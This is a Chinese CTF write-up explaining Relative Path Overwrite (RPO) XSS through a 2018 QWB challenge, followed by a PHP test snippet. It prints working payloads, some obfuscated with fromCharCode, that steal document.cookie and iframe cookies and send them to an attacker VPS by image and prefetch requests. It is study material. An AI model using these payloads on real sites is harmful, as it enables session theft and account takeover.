PRO的全称为“Relative Path Overwrite”,也就是相对路径覆盖。利用浏览器和服务器对资源加载设置的差异,通过某些方法和技巧,在相对路径处,引入我们可控的js/css文件,甚至引入非js/css文件,并按照js/css的语法执行,从而实现攻击。
这是18-03-24强网杯的一道题,也是从这里开始接触RPO这个漏洞,以下简单介绍一下这道题的做法: 首先就是一个登录界面
简单测试后可以发现并没有SQL注入或者XSS漏洞,之后注册一个账号,登录进去。测试各个页面,还是没有发现SQL注入 在做比赛的小伙伴可能会对以下这个页面很熟悉:
没错,就是这个“脸上”写着“这里有FLAG”的页面,而且如果在Reports框里输入http://39.107.33.96:20000/<script src=http://VPSIP ></script>
,它真的会访问我们自己的VPS,结合第一个提示:
再联想到i春秋的一篇文章 通过反调PhantomJS XSS bot 把XSS漏洞升级为SSRF/LFR
惊不惊喜?意不意外?是不是感觉从此拿到FLAG,出任CEO,迎娶白富美,从此走上人生巅峰了?
呵~想!多!了!
不知道为什么,VPS上的js代码就是没办法执行
之后才了解到,真正的漏洞点在这里:
也就是我们今天要介绍的主角,RPO导致的XSS漏洞了……
在看漏洞流程之前,我们先介绍一个知识点,就是按照目录方式获取资源,以及phpinfo URL模式。
http://39.107.33.96:20000/index.php/view/article/763
难道有一个目录交index.php吗?不是的,它使用了url rewrite的php开发框架,也叫PHPINFO URL模式 等价于
http://39.107.33.96:20000/index.php?mod=view&article=763
在这道题里,返回的,就是我们输入的文章内容,当标题为空时,只返回内容的纯文本,不包含html代码。
文章最开始提到过,RPO漏洞就是“相对路径覆盖”,而这道题的漏洞产生,也是因为相对路径
我们来分析一下上面导致漏洞的payload
http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php
对于php而言,它获得的请求是url解码后的,%2F会被解码为/,apache和nginx会按照目录的方式来返回我们请求的资源。
对于payload,也就相当于访问
http://39.107.33.96:20000/index.php/view/article/36967/../../../../index.php
向上跳了三层,依旧返回index.php页面的内容
但是!服务端和客户端之间产生了沟通差异,浏览器在寻找js资源的时候,并没有对%2f进行解码,就认为 ..%2f..%2f..%2f..%2findex.php
这一坨是一段数据,但是又没有人来接收这段数据,相当于报废。 就好比输入url-https://www.baidu.com?id=1
,向百度传递了一个参数id,但它后端没有接收的代码,相当于没有传递,返回的资源仍然是https://www.baidu.com
的。
http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php
相当于在文章ID为36967的文章页面传了一个叫..%2f..%2f..%2f..%2findex.php
的参数,没有人接收,所以返回的资源就只是http://39.107.33.96:20000/index.php/view/article/36967/
。
浏览器错误理解url后,请求相对路径中请求的资源路径,就变成了http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php/static/js/jquery.min.js
当我们向服务器提交这个请求的时候,服务器会按照phpinfo模式来读取这个url,
读到..%2f..%2f..%2f..%2findex.php
这里就读不下去了,识别不了,退一步,把前面能识别的内容返回回来,也就是http://39.107.33.96:20000/index.php/view/article/36967/
我们看网络里的请求,也可以看到浏览器按照phpinfo的格式来解析url的话,只会访问到能识别的地方
这里要注意,xxxdir只是为了表示这是一个没有用的dir,换成aaadir效果也是一样的,同理把..%2f..%2f..%2f..%2findex.php
当做dir也是一样的。
http://39.107.33.96:20000/index.php/view/article/36967/
的页面内容,也就是alert(1)
当做是js文件的内容,带回到了<script>
标签中,也就因此,造成了XSS漏洞
漏洞完成过程 首先填写一个只有内容,没有标题的Ideas
如果标题不为空
那请求的结果将含有HTML代码,如果这个时候再把返回的数据当做是JavaScript代码解析,就会发生异常。
之后我们就可以伪造请求,比如(new Image()).src = 'http://VPSIP:Port?'+document.cookie
由于漏洞点过滤了引号,所以可以用fromCharCode进行绕过处理 (new Image()).src = String.fromCharCode(104,116,116,112,58,47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47)+document.cookie;
写这篇文章的时候,后台的自动点击脚本貌似没在运行了,只能我自己触发一下xss,弹个自己的PHPSESSION回来。比赛过程中会有个提示,让你去打二级目录/QWB_fl4g/QWB/
然后使用iframe标签去读二级目录下的cookie
iframe
var iframe = document.createElement(String.fromCharCode(105,102,114,97,109,101));
iframe.src = String.fromCharCode(47,81,87,66,95,102,108,52,103,47,81,87,66,47);
iframe.id = String.fromCharCode(102,114,97,109,101);
document.body.appendChild(iframe);
iframe.onload = function (){
var c = document.getElementById(String.fromCharCode(102,114,97,109,101)).contentWindow.document.cookie;
var n0t = document.createElement(String.fromCharCode(108,105,110,107));
n0t.setAttribute(String.fromCharCode(114,101,108), String.fromCharCode(112,114,101,102,101,116,99,104));
n0t.setAttribute(String.fromCharCode(104,114,101,102), String.fromCharCode(47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47,63,102,108,97,103,61) + c);
document.head.appendChild(n0t);
}
VPS处就可以监听到返回的flag~
用畅师傅说的一句话总结RPO的核心原理,“RPO漏洞,就是服务端和客户端对这个URL的解析不一致导致的”,其实仔细想一想,任何漏洞不都是这个道理嘛,宽字节,00截断,都是利用不同功能板块之间解析规则的差异,造成语义上的混淆,从而导致了漏洞。
俗话说的好“Talk is cheap, show me the Code”,如果对这RPO还是有疑惑的话,可以用以下的代码片段自己动手测试一下。
测试代码扒自p00mj师傅的文章
php代码
<?php $path='http://localhost/hello/'?>
<a class="navbar-brand" href="<?php echo $path?>url.php">三国杀</a>
<li class="active" id='wei'><a href="<?php echo $path?>url.php/country/wei">魏</a></li>
<li id ='shu'><a href="<?php echo $path?>url.php/country/shu">蜀</a></li>
<li class="active" id='wu'><a href="<?php echo $path?>url.php/country/wu">吴</a></li>
<link rel="stylesheet" href="./style.css" style="css" />
<?php
$arr=isset($_SERVER['PATH_INFO'])?explode('/',trim($_SERVER['PATH_INFO'],'/')):null;
//var_dump($arr);
//echo $arr
$value='';
for($_=0;$_<count($arr);$_+=2)
{
$value[$arr[$_]] = $arr[$_+1];
}
$value['country']=isset($value['country'])?$value['country']:null;
switch ($value['country']) {
case 'wei':
?>
<h1>welcome to 魏国!</h1>
<?php
break;
case 'shu':
?>
<h1>welcome to 蜀国!</h1>
<?php
break;
case 'wu':
?>
<h1>welcome to 吴国!</h1>
<?php
break;
default:
?>
<h1>welcome!</h1>
<?php
break;
}
?>
style.css文件
h1 {
font-size:180px;
color:blue;
}
在绿盟的这篇文章中提到说Apache无法解析这种URL,会返回404。其实是默认配置的问题。
在Github上也有一个CTF题目的源码,利用RPO,进行XSS+CSRF攻击。
https://github.com/eboda/34c3ctf/tree/master/urlstorage
https://www.cnblogs.com/p00mj/p/6755000.html
http://www.qingpingshan.com/pc/aq/240597.html
http://blog.nsfocus.net/rpo-attack/
文章首发先知
作者:Ph0rse
本文分享自 Ms08067安全实验室 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!